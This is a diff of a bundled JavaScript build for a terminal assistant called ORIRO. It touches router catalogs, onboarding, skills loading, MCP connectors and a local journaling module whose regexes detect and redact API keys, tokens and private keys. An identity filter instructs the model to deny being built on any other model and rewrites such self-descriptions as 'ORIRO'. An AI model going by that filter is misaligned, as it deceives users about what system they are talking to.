p.on("error", reject); p.on("close", (code) => { - if (code === 0 && existsSync(out)) resolve(readAndClean(out)); + if (code === 0 && existsSync(out)) resolve3(readAndClean(out)); else reject(new Error("SAPI synth failed")); }); p.stdin.write(text); @@ -1161,23 +1339,23 @@ function winSapi(text, lang) { } function macSay(text) { const out = tmpWav(); - return new Promise((resolve, reject) => { + return new Promise((resolve3, reject) => { const p = spawn2("say", ["-o", out, "--data-format=LEI16@22050", text], { stdio: "ignore" }); p.on("error", reject); p.on( "close", - (code) => code === 0 && existsSync(out) ? resolve(readAndClean(out)) : reject(new Error("say failed")) + (code) => code === 0 && existsSync(out) ? resolve3(readAndClean(out)) : reject(new Error("say failed")) ); }); } function linuxEspeak(text) { const out = tmpWav(); - return new Promise((resolve, reject) => { + return new Promise((resolve3, reject) => { const p = spawn2("espeak", ["-w", out, text], { stdio: "ignore" }); p.on("error", reject); p.on( "close", - (code) => code === 0 && existsSync(out) ? resolve(readAndClean(out)) : reject(new Error("espeak failed")) + (code) => code === 0 && existsSync(out) ? resolve3(readAndClean(out)) : reject(new Error("espeak failed")) ); }); } @@ -1371,6 +1549,15 @@ var ROUTER_CATALOG = [ freeModels: ["deepseek/deepseek-chat-v3-0324:free", "moonshotai/kimi-k2.6:free"], obtainUrl: "https://openrouter.ai/keys" }), + C4({ + id: "huggingface", + displayName: "Hugging Face", + // OpenAI-compatible Inference Router; the validator appends "/chat/completions". + // BYOK: the USER pastes their OWN free HF token (never ORIRO's). + baseUrl: "https://router.huggingface.co/v1", + freeModels: ["meta-llama/Llama-3.1-8B-Instruct", "Qwen/Qwen2.5-7B-Instruct"], + obtainUrl: "https://huggingface.co/settings/tokens" + }), C4({ id: "requesty", displayName: "Requesty", @@ -1806,6 +1993,38 @@ function resolvePool() { return loadPool(oriroDir()).map((id) => reg[id]).filter((r) => Boolean(r)); } +// src/routers/floor.ts +var KEYLESS_FLOOR = [ + { + id: "pollinations", + name: "Pollinations (free)", + baseUrl: "https://text.pollinations.ai/openai", + model: "openai", + apiKey: "oriro-keyless" + }, + { + id: "ollama-local", + name: "Ollama (on-device)", + baseUrl: "http://localhost:11434/v1", + model: "llama3.2", + apiKey: "ollama" + } +]; +function routerModel(r) { + return { + id: r.model, + name: r.name, + api: "openai-completions", + provider: r.id, + baseUrl: r.baseUrl, + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128e3, + maxTokens: 4096 + }; +} + // src/routers/onboarding.ts function markerFile() { return join12(oriroDir(), "routers", "onboarded.json"); @@ -1828,8 +2047,16 @@ function markRouterOnboarded() { async function runRouterOnboarding() { stdout4.write( ` - ${accent("Routers")} \u2014 ORIRO runs on a ${accent("free keyless router")} by default. No key, $0, works right now. - ${dim("Add your own key (any free provider) for a faster, private lane \u2014 or skip and stay keyless.")} + ${accent("Routers")} \u2014 these ${accent("free keyless")} routers race for you by default ${dim("(no key, $0)")}: +` + ); + for (const r of KEYLESS_FLOOR) { + const local = /localhost|127\.0\.0\.1/.test(r.baseUrl); + stdout4.write(` ${accent("\u25CF")} ${r.name.padEnd(22)} ${dim(local ? "on-device (if installed)" : "hosted \xB7 active")} +`); + } + stdout4.write( + ` ${dim("They're active now \u2014 you can chat immediately. Add your own key for a faster, private lane, or skip.")} ` ); const rl = createInterface3({ input: stdin3, output: stdout4 }); @@ -1887,3170 +2114,4158 @@ async function runRouterOnboarding() { `); } -// src/onboarding/wrapper.ts -function isFirstRun() { - return !isLanguageConfigured() || !hasScribeChoice(); -} -async function askYesNo(question) { - const rl = createInterface4({ input: stdin4, output: stdout5 }); - try { - const a = (await ask(rl, `${question} ${dim("[Y/n]")} `)).trim().toLowerCase(); - return a === "" || a === "y" || a === "yes"; - } finally { - rl.close(); - } -} -async function runOnboarding() { - stdout5.write(banner()); - await runLanguageOnboarding(); - await activateGuardian(); - stdout5.write(` ${accent("\u{1F6E1} Guardian V3")} is on by default. ${accent("\u{1F9ED} Head")} is ready. +// src/onboarding/steps.ts +import { stdin as stdin4, stdout as stdout5 } from "process"; +import { createInterface as createInterface4 } from "readline/promises"; +import { existsSync as existsSync6, mkdirSync as mkdirSync8, writeFileSync as writeFileSync11 } from "fs"; +import { join as join15 } from "path"; -`); - if (!isAvatarConfigured()) await runAvatarOnboarding(); - if (!hasScribeChoice()) { - const yes = await askYesNo( - "Remember with me? The Scriber keeps your work in context on THIS machine only \u2014 it never leaves it." - ); - setScribeConsent(yes); - stdout5.write(yes ? ` ${accent("\u{1F4D3} Scriber")} on. -` : ` ${dim("Scriber off \u2014 `oriro scribe on` anytime.")} -`); +// src/skills/loader.ts +import { loadSkills, formatSkillsForPrompt } from "@earendil-works/pi-coding-agent"; +import { fileURLToPath } from "url"; +import { existsSync as existsSync5 } from "fs"; +import { dirname as dirname2, join as join13 } from "path"; +function packageRoot(start) { + let dir = start; + for (let i = 0; i < 10; i++) { + if (existsSync5(join13(dir, "package.json"))) return dir; + const parent = dirname2(dir); + if (parent === dir) break; + dir = parent; } - if (!hasRouterChoice()) await runRouterOnboarding(); - stdout5.write(` - ${accent("ORIRO is ready.")} ${dim("Type to chat \xB7 /exit to leave")} - -`); + return start; } - -// src/onboarding/assemble.ts -import { - createAgentSession as createAgentSession2, - AuthStorage as AuthStorage2, - ModelRegistry as ModelRegistry2, - SessionManager as SessionManager2, - SettingsManager, - DefaultResourceLoader, - getAgentDir -} from "@earendil-works/pi-coding-agent"; - -// src/routers/mux-provider.ts -import { streamSimple as piStreamSimple, createAssistantMessageEventStream } from "@earendil-works/pi-ai"; -import { register as registerOpenAICompletions } from "@earendil-works/pi-ai/openai-completions"; - -// src/routers/mux.ts -import { existsSync as existsSync5, mkdirSync as mkdirSync8, readFileSync as readFileSync10, writeFileSync as writeFileSync10 } from "fs"; -import { join as join13 } from "path"; -var COOLDOWN_DEFAULT_MS = 6e4; -var UNHEALTHY_AFTER = 3; -var RouterMux = class { - stats = /* @__PURE__ */ new Map(); - now; - constructor(routerIds, now = () => Date.now()) { - this.now = now; - for (const id of routerIds) { - this.stats.set(id, { - id, - latencyMs: Number.POSITIVE_INFINITY, - healthy: true, - cooldownUntil: 0, - consecutiveErrors: 0 - }); - } - } - /** Available routers, best-first (healthy, not cooling down, lowest latency). */ - ranked() { - const t = this.now(); - return [...this.stats.values()].filter((s) => s.healthy && s.cooldownUntil <= t).sort((a, b) => a.latencyMs - b.latencyMs).map((s) => s.id); - } - recordSuccess(id, latencyMs) { - const s = this.stats.get(id); - if (!s) return; - s.latencyMs = s.latencyMs === Number.POSITIVE_INFINITY ? latencyMs : 0.7 * s.latencyMs + 0.3 * latencyMs; - s.consecutiveErrors = 0; - s.healthy = true; - } - recordFailure(id, err) { - const s = this.stats.get(id); - if (!s) return; - s.consecutiveErrors += 1; - if (err?.status === 429) { - s.cooldownUntil = this.now() + (err.retryAfterMs ?? COOLDOWN_DEFAULT_MS); - } - if (s.consecutiveErrors >= UNHEALTHY_AFTER) s.healthy = false; - } - /** Run a call through the best router, failing over on error. Throws only if all exhausted. */ - async run(call) { - const order = this.ranked(); - if (order.length === 0) { - throw new Error( - "All selected routers are rate-limited or unavailable. Add a BYOK key, select more free routers, or retry shortly." - ); - } - let lastErr; - for (const id of order) { - const t0 = this.now(); - try { - const result = await call(id); - this.recordSuccess(id, this.now() - t0); - return { result, routerId: id }; - } catch (e) { - const err = e; - this.recordFailure(id, { status: err?.status, retryAfterMs: err?.retryAfterMs }); - lastErr = e; - } - } - throw lastErr instanceof Error ? lastErr : new Error("All selected routers failed this request."); - } - snapshot() { - return [...this.stats.values()].map((s) => ({ ...s })); - } - load(stats) { - for (const s of stats) if (this.stats.has(s.id)) this.stats.set(s.id, { ...s }); - } -}; -function healthStatePath(dir) { - return join13(dir, "routers", "health.json"); +function skillsDir() { + if (process.env.ORIRO_SKILLS_DIR) return process.env.ORIRO_SKILLS_DIR; + return join13(packageRoot(dirname2(fileURLToPath(import.meta.url))), "skills"); } -function saveMuxState(dir, stats) { - const p = healthStatePath(dir); - mkdirSync8(join13(dir, "routers"), { recursive: true }); - writeFileSync10(p, JSON.stringify(stats, null, 2), "utf8"); +function userSkillsDir() { + return process.env.ORIRO_USER_SKILLS_DIR ?? join13(oriroDir(), "skills"); } -function loadMuxState(dir) { - const p = healthStatePath(dir); - if (!existsSync5(p)) return []; - try { - const stats = JSON.parse(readFileSync10(p, "utf8")); - return stats.map((s) => ({ ...s, latencyMs: Number.isFinite(s.latencyMs) ? s.latencyMs : Number.POSITIVE_INFINITY })); - } catch { - return []; - } +function skillRoots() { + const roots = [skillsDir()]; + const user = userSkillsDir(); + if (existsSync5(user) && user !== roots[0]) roots.push(user); + return roots; +} +async function loadOriroSkills(dir = skillsDir()) { + const paths = dir === skillsDir() ? skillRoots() : [dir]; + const result = await loadSkills({ + cwd: dir, + agentDir: dir, + skillPaths: paths, + includeDefaults: false + }); + const all = Array.isArray(result) ? result : result.skills ?? []; + return { + all, + core: all.filter((s) => !s.disableModelInvocation), + tail: all.filter((s) => s.disableModelInvocation), + prompt: formatSkillsForPrompt(all) + }; } -// src/routers/floor.ts -var KEYLESS_FLOOR = [ +// src/connectors/connectors.ts +import { readFileSync as readFileSync10, writeFileSync as writeFileSync10 } from "fs"; +import { join as join14 } from "path"; + +// src/connectors/catalog.ts +var CONNECTOR_CATALOG = [ { - id: "pollinations", - name: "Pollinations (free)", - baseUrl: "https://text.pollinations.ai/openai", - model: "openai", - apiKey: "oriro-keyless" + "slug": "github", + "name": "GitHub", + "category": "Development", + "authType": "oauth", + "mcpUrl": "https://github.com/github/github-mcp-server", + "description": "Official GitHub server for integration with repository management, PRs, issues, and more.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via GitHub OAuth \u2014 no keys to paste.", + "docs": "https://docs.github.com/rest" + } }, { - id: "ollama-local", - name: "Ollama (on-device)", - baseUrl: "http://localhost:11434/v1", - model: "llama3.2", - apiKey: "ollama" - } -]; -function routerModel(r) { - return { - id: r.model, - name: r.name, - api: "openai-completions", - provider: r.id, - baseUrl: r.baseUrl, - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128e3, - maxTokens: 4096 - }; -} - -// src/identity/filter.ts -var ORIRO_IDENTITY = "You are ORIRO, a free on-device AI assistant in the user's terminal. You are ORIRO and only ORIRO. Never state, imply, or reveal that you are, or are built on, any other model or company (such as GPT, Claude, Gemini, Qwen, Llama, Mistral, DeepSeek, OpenAI, Anthropic, Google, or Meta). If asked what you are, you are ORIRO."; -var BANNED_TEST = /\b(qwen|llama|mistral|mixtral|deepseek|gpt(?:-?\d(?:\.\d)?)?|claude|gemini|openai|anthropic|google|meta\s?ai|alibaba)\b/i; -var BANNED_REPLACE = new RegExp(BANNED_TEST.source, "gi"); -var SELF_REF = /\b(i am|i'm|i was|based on|powered by|my name|my model|my architecture|trained|created by|made by|built (?:on|by)|developed by)\b/i; -var SELF_INTRO = /\b(i am|i'm)\s+(a|an)\b/i; -var AI_NOUN = /\b(assistant|ai|model|language model|bot|agent|chatbot)\b/i; -function applyIdentity(context) { - const sys = context.systemPrompt ? `${ORIRO_IDENTITY} - -${context.systemPrompt}` : ORIRO_IDENTITY; - return { ...context, systemPrompt: sys }; -} -function scrubIdentity(text) { - return text.replace(/[^.?!\n]+[.?!]?/g, (sentence) => { - let s = SELF_REF.test(sentence) && BANNED_TEST.test(sentence) ? sentence.replace(BANNED_REPLACE, "ORIRO") : sentence; - if (!/\boriro\b/i.test(s) && SELF_INTRO.test(s) && AI_NOUN.test(s)) { - s = s.replace(SELF_INTRO, "I am ORIRO, $2"); + "slug": "gitlab", + "name": "GitLab", + "category": "Development", + "authType": "oauth", + "mcpUrl": "https://github.com/kopfrechner/gitlab-mr-mcp", + "description": "Interact seamlessly with issues and merge requests of your GitLab projects.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via GitLab OAuth \u2014 no keys to paste.", + "docs": "https://docs.gitlab.com/ee/api/" } - return s; - }); -} -function scrubMessageIdentity(msg) { - return { - ...msg, - content: msg.content.map( - (c) => c.type === "text" ? { ...c, text: scrubIdentity(c.text) } : c - ) - }; -} - -// src/routers/tool-sanitize.ts -var CONTROL_TOKEN = /<\|[^|]*\|>/g; -var RECIPIENT_PREFIX = /^(?:to=)?(?:functions?|tools?|recipient)[.=]/i; -var RECIPIENT = /(?:to=)?(?:functions?|tools?|recipient)[.=]([A-Za-z0-9_.:-]+)/i; -var CLEAN_NAME = /^[A-Za-z0-9_.:-]+$/; -function sanitizeToolName(raw) { - if (!raw) return raw; - if (!raw.includes("<|") && !RECIPIENT_PREFIX.test(raw)) return raw; - const base = (raw.split("<|")[0] ?? "").replace(RECIPIENT_PREFIX, "").trim(); - if (base && CLEAN_NAME.test(base)) return base; - const recip = raw.match(RECIPIENT); - if (recip?.[1]) return recip[1]; - const m = raw.replace(CONTROL_TOKEN, " ").match(/[A-Za-z_][A-Za-z0-9_.:-]*/); - return m ? m[0] : raw; -} -function sanitizeMessageToolCalls(msg) { - let changed = false; - const content = msg.content.map((c) => { - if (c.type === "toolCall") { - const name = sanitizeToolName(c.name); - if (name !== c.name) { - changed = true; - return { ...c, name }; - } + }, + { + "slug": "linear", + "name": "Linear", + "category": "Development", + "authType": "oauth", + "mcpUrl": "https://github.com/tacticlaunch/mcp-linear", + "description": "Integrates with Linear project management system", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Linear OAuth \u2014 no keys to paste.", + "docs": "https://developers.linear.app/" } - return c; - }); - return changed ? { ...msg, content } : msg; -} -function sanitizeEventToolCalls(ev) { - let next = ev; - if ("partial" in next && next.partial) { - const partial = sanitizeMessageToolCalls(next.partial); - if (partial !== next.partial) next = { ...next, partial }; - } - if (next.type === "toolcall_end" && next.toolCall) { - const name = sanitizeToolName(next.toolCall.name); - if (name !== next.toolCall.name) next = { ...next, toolCall: { ...next.toolCall, name } }; - } - return next; -} - -// src/scribe/scribe-pi.ts -import { existsSync as existsSync10, readFileSync as readFileSync16 } from "fs"; -import { Type } from "typebox"; - -// src/scribe/capture.ts -import { closeSync as closeSync2, fsyncSync as fsyncSync2, mkdirSync as mkdirSync11, openSync as openSync2, writeSync as writeSync2 } from "fs"; -import { join as join15 } from "path"; - -// src/scribe/digest.ts -import { existsSync as existsSync6, mkdirSync as mkdirSync9, readFileSync as readFileSync11, writeFileSync as writeFileSync11 } from "fs"; - -// src/scribe/paths.ts -import { join as join14 } from "path"; -function scribeDir() { - const override = process.env.ORIRO_SCRIBE_DIR?.trim(); - return override && override.length > 0 ? override : join14(CONFIG_DIR, "scribe"); -} -function journalFile(date) { - return join14(scribeDir(), `${date}.md`); -} -function digestFile() { - return join14(scribeDir(), "_digest.md"); -} -function timelineFile() { - return join14(scribeDir(), "_timeline.md"); -} -function artifactsDir() { - return join14(scribeDir(), "artifacts"); -} - -// src/scribe/digest.ts -var DIGEST_CAP = 8192; -var TIMELINE_DAY_CAP = 400; -function read(file4) { - return existsSync6(file4) ? readFileSync11(file4, "utf8") : ""; -} -function updateDigest(summary, context) { - mkdirSync9(scribeDir(), { recursive: true }); - const existing = read(digestFile()); - let contextBlock = context?.trim(); - if (!contextBlock) { - const m = existing.match(/## Context\n([\s\S]*?)\n## /); - contextBlock = m?.[1]?.trim() ?? "_(not set yet)_"; - } - const recentMatch = existing.match(/## Recent activity[^\n]*\n([\s\S]*)$/); - const priorRecent = recentMatch?.[1]?.trim() ?? ""; - let recent = summary.trim() ? `- ${summary.trim()} -${priorRecent}` : priorRecent; - const header2 = `# ORIRO Scribe \u2014 Digest - -## Context -${contextBlock} - -## Recent activity (newest first) -`; - let out = header2 + recent; - while (Buffer.byteLength(out, "utf8") > DIGEST_CAP && recent.includes("\n")) { - recent = recent.slice(0, recent.lastIndexOf("\n")).trimEnd(); - out = header2 + recent; - } - writeFileSync11(digestFile(), out, "utf8"); -} -function updateTimeline(date, topic) { - mkdirSync9(scribeDir(), { recursive: true }); - const clean = topic.replace(/\s+/g, " ").trim(); - if (!clean) return; - const lines = read(timelineFile()).split("\n").filter(Boolean); - const header2 = "# ORIRO Scribe \u2014 Timeline"; - const body = lines.filter((l) => l !== header2); - const idx = body.findIndex((l) => l.startsWith(`- ${date} \xB7`)); - if (idx === -1) { - body.push(`- ${date} \xB7 ${clean}`.slice(0, TIMELINE_DAY_CAP + date.length + 6)); - } else { - let merged = `${body[idx]}; ${clean}`; - if (merged.length > TIMELINE_DAY_CAP) merged = `${merged.slice(0, TIMELINE_DAY_CAP)}\u2026`; - body[idx] = merged; - } - body.sort(); - writeFileSync11(timelineFile(), `${header2} -${body.join("\n")} -`, "utf8"); -} -function readDigest() { - return read(digestFile()); -} -function readTimeline() { - return read(timelineFile()); -} - -// src/scribe/journal.ts -import { - closeSync, - existsSync as existsSync7, - fsyncSync, - mkdirSync as mkdirSync10, - openSync, - readFileSync as readFileSync12, - writeSync -} from "fs"; -function appendJournal(date, content) { - mkdirSync10(scribeDir(), { recursive: true }); - const fd = openSync(journalFile(date), "a"); - try { - writeSync(fd, content.endsWith("\n") ? content : `${content} -`); - fsyncSync(fd); - } finally { - closeSync(fd); - } -} -function readJournal(date) { - const f = journalFile(date); - return existsSync7(f) ? readFileSync12(f, "utf8") : ""; -} - -// src/scribe/redact.ts -var RULES = [ + }, { - label: "private-key", - re: /-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/g + "slug": "jira", + "name": "Jira", + "category": "Development", + "authType": "oauth", + "mcpUrl": "https://github.com/sooperset/mcp-atlassian", + "description": "MCP server for Atlassian products (Confluence and Jira). Supports Confluence Cloud, Jira Cloud, and Jira Server/Data Center. Provides comprehensive tools for searching, reading, creating, and managing content across Atlassian workspaces.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Jira OAuth \u2014 no keys to paste.", + "docs": "https://developer.atlassian.com/cloud/jira/" + } }, - // Lone PEM markers — a key SPLIT across fields/turns leaves only a BEGIN-head or an END-tail in - // one field. A field carrying either marker is key material: redact the marker + its adjacent body - // (forward from BEGIN, backward to END) so no sub-threshold fragment can ever sit on disk. - { label: "private-key", re: /-----BEGIN[A-Z ]*PRIVATE KEY-----[\s\S]*/g }, - { label: "private-key", re: /[\s\S]*-----END[A-Z ]*PRIVATE KEY-----/g }, - { label: "anthropic-key", re: /sk-ant-[A-Za-z0-9_-]{20,}/g }, - { label: "openrouter-key", re: /sk-or-v1-[A-Za-z0-9]{20,}/g }, - // Stripe-style keys (sk_live_/pk_live_/rk_test_/…), underscore segments. - { label: "stripe-key", re: /\b[srp]k_(?:live|test)_[A-Za-z0-9]{16,}/g }, - // Generic sk- secret keys — allow hyphenated segments (sk-live-…, sk-proj-…) so a second - // hyphen no longer breaks the match (the gap the Scriber spike caught). - { label: "secret-key-sk", re: /sk[-_][A-Za-z0-9][A-Za-z0-9-]{14,}/g }, - { label: "google-key", re: /AIza[0-9A-Za-z_-]{30,}/g }, - { label: "groq-key", re: /gsk_[A-Za-z0-9]{20,}/g }, - { label: "github-pat", re: /github_pat_[A-Za-z0-9_]{20,}/g }, - { label: "github-token", re: /gh[posr]_[A-Za-z0-9]{30,}/g }, - { label: "xai-key", re: /xai-[A-Za-z0-9]{20,}/g }, - { label: "aws-key", re: /AKIA[0-9A-Z]{16}/g }, - { label: "jwt", re: /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{6,}/g }, - { label: "telegram-token", re: /\b\d{8,10}:[A-Za-z0-9_-]{30,}\b/g }, - // Auth headers / inline credentials (any provider) — the audit found these leaked. - { label: "bearer-token", re: /\bbearer\s+[A-Za-z0-9._~+/=-]{12,}/gi }, - { label: "basic-auth", re: /\bbasic\s+[A-Za-z0-9+/=]{12,}/gi }, - // key: value / key=value secrets (password, token, secret, api_key, access_key, …). - { label: "secret-kv", re: /\b(?:pass(?:word|wd)?|pwd|secret|token|api[_-]?key|access[_-]?key|auth)\s*[:=]\s*\S{3,}/gi }, - // Credentials embedded in a URL: scheme://user:PASSWORD@host → redact the password. - { label: "url-credential", re: /\b([a-z][a-z0-9+.-]*:\/\/[^/\s:@]+:)[^/\s@]+(@)/gi }, - { label: "email", re: /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g }, - { label: "phone", re: /(?:\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}/g } -]; -function marker(label) { - return `\u27E8REDACTED:${label}\u27E9`; -} -function entropy(s) { - const freq = /* @__PURE__ */ new Map(); - for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1); - let h = 0; - for (const n of freq.values()) { - const p = n / s.length; - h -= p * Math.log2(p); - } - return h; -} -function looksLikeUnknownSecret(token) { - if (token.length < 32) return false; - if (token.includes("\u27E8REDACTED:")) return false; - if (/^[0-9a-f]+$/i.test(token)) return false; - const classes = (/[a-z]/.test(token) ? 1 : 0) + (/[A-Z]/.test(token) ? 1 : 0) + (/[0-9]/.test(token) ? 1 : 0); - if (classes < 2) return false; - return entropy(token) >= 4.2; -} -function redact(input) { - const counts = /* @__PURE__ */ new Map(); - let text = input; - for (const rule of RULES) { - text = text.replace(rule.re, () => { - counts.set(rule.label, (counts.get(rule.label) ?? 0) + 1); - return marker(rule.label); - }); - } - text = text.split(/(\s+)/).map((tok) => { - if (looksLikeUnknownSecret(tok)) { - counts.set("high-entropy", (counts.get("high-entropy") ?? 0) + 1); - return marker("high-entropy"); + { + "slug": "sentry", + "name": "Sentry", + "category": "Development", + "authType": "token", + "mcpUrl": "https://github.com/getsentry/sentry-mcp", + "description": "Sentry.io integration for error tracking and performance monitoring", + "configSchema": { + "auth": "token", + "fields": [ + { + "key": "access_token", + "label": "Sentry Access Token", + "type": "password", + "help": "https://docs.sentry.io/api/" + } + ] } - return tok; - }).join(""); - const redactions = [...counts.entries()].map(([label, count]) => ({ - label, - count - })); - return { text, redactions }; -} -function containsSecret(text) { - for (const rule of RULES) { - rule.re.lastIndex = 0; - if (rule.re.test(text)) return true; - } - for (const tok of text.split(/\s+/)) { - if (looksLikeUnknownSecret(tok)) return true; - } - return false; -} - -// src/scribe/capture.ts -var INLINE_CAP = 4e3; -function sideFile(date, ts, kind, full) { - mkdirSync11(artifactsDir(), { recursive: true }); - const name = `${date}_${ts.replace(/[:.]/g, "-")}_${kind}.md`; - const p = join15(artifactsDir(), name); - const fd = openSync2(p, "w"); - try { - writeSync2(fd, full); - fsyncSync2(fd); - } finally { - closeSync2(fd); - } - return p; -} -function field(date, ts, label, value) { - if (!value || !value.trim()) return ""; - if (value.length > INLINE_CAP) { - const ref = sideFile(date, ts, label.toLowerCase().replace(/\s+/g, "-"), value); - return `**${label}** (full \u2192 ${ref}): -${value.slice(0, INLINE_CAP)} -\u2026(truncated; full content in artifact) - -`; - } - return `**${label}:** -${value} - -`; -} -function renderTurn(rec) { - let md = `## ${rec.ts} - -`; - md += field(rec.date, rec.ts, "User", rec.user); - md += field(rec.date, rec.ts, "Router", rec.router); - if (rec.tools?.length) md += `**Tools:** ${rec.tools.join(", ")} - -`; - if (rec.files?.length) md += `**Files:** ${rec.files.join(", ")} - -`; - md += field(rec.date, rec.ts, "Note", rec.note); - return `${md}--- -`; -} -function oneLineSummary(rec) { - const bits = []; - if (rec.user) bits.push(rec.user.replace(/\s+/g, " ").slice(0, 80)); - if (rec.files?.length) bits.push(`files: ${rec.files.slice(0, 3).join(", ")}`); - if (rec.note) bits.push(rec.note.replace(/\s+/g, " ").slice(0, 60)); - return bits.join(" \xB7 ") || "(activity)"; -} -function redactRecord(rec) { - const tally = /* @__PURE__ */ new Map(); - const rd = (s) => { - if (!s) return s; - const r = redact(s); - for (const x of r.redactions) tally.set(x.label, (tally.get(x.label) ?? 0) + x.count); - return r.text; - }; - const safeRec = { - ...rec, - user: rd(rec.user), - note: rd(rec.note), - router: rd(rec.router), - context: rd(rec.context), - files: rec.files?.map((f) => rd(f) ?? f) - }; - return { rec: safeRec, redactions: [...tally.entries()].map(([label, count]) => ({ label, count })) }; -} -function captureTurn(rec) { - const { rec: safeRec, redactions } = redactRecord(rec); - const journal = renderTurn(safeRec); - appendJournal(rec.date, `${journal} -`); - updateDigest(`${safeRec.ts} \xB7 ${oneLineSummary(safeRec)}`, safeRec.context); - updateTimeline(safeRec.date, oneLineSummary(safeRec)); - const auditClean = !containsSecret(readJournal(rec.date)) && !containsSecret(readDigest() ?? ""); - return { - journalDate: rec.date, - redactions, - bytes: Buffer.byteLength(journal, "utf8"), - auditClean - }; -} - -// src/scribe/health.ts -import { - closeSync as closeSync3, - fsyncSync as fsyncSync3, - mkdirSync as mkdirSync12, - openSync as openSync3, - readFileSync as readFileSync13, - writeFileSync as writeFileSync12, - writeSync as writeSync3 -} from "fs"; -import { join as join16 } from "path"; -function healthFile() { - return join16(scribeDir(), "_health.json"); -} -function faultLogFile() { - return join16(scribeDir(), "_faults.log"); -} -function read2() { - try { - return JSON.parse(readFileSync13(healthFile(), "utf8")); - } catch { - return { faultCount: 0 }; - } -} -function write(h) { - mkdirSync12(scribeDir(), { recursive: true }); - writeFileSync12(healthFile(), `${JSON.stringify(h, null, 2)} -`, "utf8"); -} -function recordHealth() { - const h = read2(); - h.lastWriteAt = (/* @__PURE__ */ new Date()).toISOString(); - write(h); -} -function recordFault(role, err) { - try { - mkdirSync12(scribeDir(), { recursive: true }); - const msg = `${(/* @__PURE__ */ new Date()).toISOString()} [${role}] ${err instanceof Error ? err.message : String(err)}`; - const fd = openSync3(faultLogFile(), "a"); - try { - writeSync3(fd, `${msg} -`); - fsyncSync3(fd); - } finally { - closeSync3(fd); + }, + { + "slug": "vercel", + "name": "Vercel", + "category": "Development", + "authType": "oauth", + "mcpUrl": "https://mcp.vercel.com", + "description": "Vercel is the platform for deploying and hosting frontend apps and serverless functions. Its official remote MCP server lets ORIRO manage projects, deployments, domains, and environment variables.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Vercel OAuth \u2014 no keys to paste.", + "docs": "https://vercel.com/docs/rest-api" } - const h = read2(); - h.faultCount = (h.faultCount ?? 0) + 1; - h.lastFault = msg; - write(h); - } catch { - } -} -function readHealth() { - return read2(); -} - -// src/scribe/wal.ts -import { - closeSync as closeSync4, - existsSync as existsSync8, - fsyncSync as fsyncSync4, - mkdirSync as mkdirSync13, - openSync as openSync4, - readFileSync as readFileSync14, - writeFileSync as writeFileSync13, - writeSync as writeSync4 -} from "fs"; -import { join as join17 } from "path"; -function walFile() { - return join17(scribeDir(), "_wal.jsonl"); -} -function appendLine(obj) { - mkdirSync13(scribeDir(), { recursive: true }); - const fd = openSync4(walFile(), "a"); - try { - writeSync4(fd, `${JSON.stringify(obj)} -`); - fsyncSync4(fd); - } finally { - closeSync4(fd); - } -} -function walAppend(id, rec) { - appendLine({ t: "add", id, rec }); -} -function walCommit(id) { - appendLine({ t: "commit", id }); -} -function walPending() { - if (!existsSync8(walFile())) return []; - const committed = /* @__PURE__ */ new Set(); - const adds = /* @__PURE__ */ new Map(); - for (const line of readFileSync14(walFile(), "utf8").split("\n")) { - if (!line.trim()) continue; - try { - const e = JSON.parse(line); - if (e.t === "commit") committed.add(e.id); - else if (e.t === "add" && e.rec) adds.set(e.id, e.rec); - } catch { + }, + { + "slug": "netlify", + "name": "Netlify", + "category": "Development", + "authType": "oauth", + "mcpUrl": "npm:@netlify/mcp", + "description": "Netlify is a web platform for building, deploying, and hosting modern sites and serverless functions. The official @netlify/mcp package (6 tools, node) exposes site, deploy, and build operations.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Netlify OAuth \u2014 no keys to paste.", + "docs": "https://docs.netlify.com/api/get-started/" } - } - const out = []; - for (const [id, rec] of adds) { - if (!committed.has(id)) out.push({ id, rec }); - } - return out; -} -function walCompact() { - if (!existsSync8(walFile())) return; - const pending = walPending(); - const body = pending.map((p) => JSON.stringify({ t: "add", id: p.id, rec: p.rec })).join("\n"); - writeFileSync13(walFile(), body ? `${body} -` : "", "utf8"); -} - -// src/scribe/supervisor.ts -var draining = false; -function uid(ts) { - return `${ts}-${Math.random().toString(36).slice(2, 9)}`; -} -function drainBacklog() { - if (draining) return; - draining = true; - try { - let drained = 0; - for (const e of walPending()) { - try { - captureTurn(e.rec); - walCommit(e.id); - drained++; - } catch (err) { - recordFault("standby-replay", err); - break; - } + }, + { + "slug": "cloudflare", + "name": "Cloudflare", + "category": "Development", + "authType": "apikey", + "mcpUrl": "https://github.com/cloudflare/mcp-server-cloudflare", + "description": "Integration with Cloudflare services including Workers, KV, R2, and D1", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Cloudflare API Key", + "type": "password", + "help": "https://developers.cloudflare.com/api/" + } + ] } - if (drained > 0) walCompact(); - } finally { - draining = false; - } -} -function supervisedCapture(rec) { - try { - drainBacklog(); - const id = uid(rec.ts); - const safe = redactRecord(rec).rec; - walAppend(id, safe); - try { - const res = captureTurn(safe); - walCommit(id); - walCompact(); - recordHealth(); - return res; - } catch (primaryErr) { - recordFault("primary", primaryErr); - try { - const res = captureTurn(safe); - walCommit(id); - walCompact(); - recordHealth(); - return res; - } catch (standbyErr) { - recordFault("standby", standbyErr); - return null; - } + }, + { + "slug": "aws", + "name": "AWS", + "category": "Development", + "authType": "apikey", + "mcpUrl": "https://github.com/awslabs/mcp", + "description": "AWS MCP servers for seamless integration with AWS services and resources.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "AWS API Key", + "type": "password", + "help": "https://docs.aws.amazon.com/" 